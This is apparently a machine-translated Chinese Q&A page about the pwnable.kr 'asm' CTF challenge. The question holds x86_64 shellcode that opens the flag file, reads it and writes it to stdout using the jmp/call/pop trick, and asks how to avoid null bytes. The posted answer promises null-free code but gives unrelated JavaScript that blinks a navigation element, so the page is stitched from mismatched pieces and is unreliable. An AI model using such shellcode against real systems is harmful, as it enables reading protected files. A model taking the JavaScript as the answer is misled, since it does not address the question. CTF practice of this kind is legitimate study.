我试图从pwnable.kr(toddlers bottle,asm)解决CTF任务,其中我必须编写一个" shellcode",它将打开,读取和写入文件内容(包含国旗)。
我的代码如下:
global _start
section .text
_start:
jmp mesg
shellcode:
; open
pop rdi ; rdi points to file_name and trash
xor rsi, rsi
mov al, 2 ; sys_open
syscall
; read
mov rdi, rax
xor rax, rax ; sys_read
lea rsi, [rsp]
mov dl, 0x20
syscall
; write
mov dl, al ; bytes read
xor rax, rax
mov al, 1 ; sys_write
mov dil, 1 ; stdout
lea rsi, [rsp]
syscall
; crash
xor ebx, ebx
xor eax, eax
div ebx
mesg:
call shellcode
db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data
除以0是为了停止执行并避免使用call shellcode
长字符串是包含标志的文件的名称。
我在这里找到了将字符串地址弹出到寄存器中的技巧:Linux Shellcode "Hello, World!"
我的问题是:文件名不是以null结尾。因此,当调用sys_open时,文件名在实际字符串后包含垃圾。
我尝试过像:
xor al, al
mov byte [rdi + 464], al
弹出到rdi后手动插入NULL,但我无法从字节码中删除NULL(shellcode将从stdin中读取,因此这是一个问题)。
处理此问题的最佳方法是什么?
架构:x86_64
答案 0 :(得分:1)
编写0字节空闲代码的许多方法。一个例子:
var popcount = 0;
var opanumber = 1;
var poptimeout;
function pop() {
if (popcount < 10) {
popcount++;
if (opanumber == 1) {
document.getElementById("nav1").style.opacity = 0;
opanumber = 0;
poptimeout = setTimeout("pop()", 50);
}
else {
document.getElementById("nav1").style.opacity = 1;
opanumber = 1;
poptimeout = setTimeout("pop()", 50);
}
}
else {
popcount = 0;
document.getElementById("nav1").style.opacity = 1;
}
}
function stoppop() {
clearTimeout(poptimeout);
popcount = 0;
document.getElementById("nav1").style.opacity = 1;
}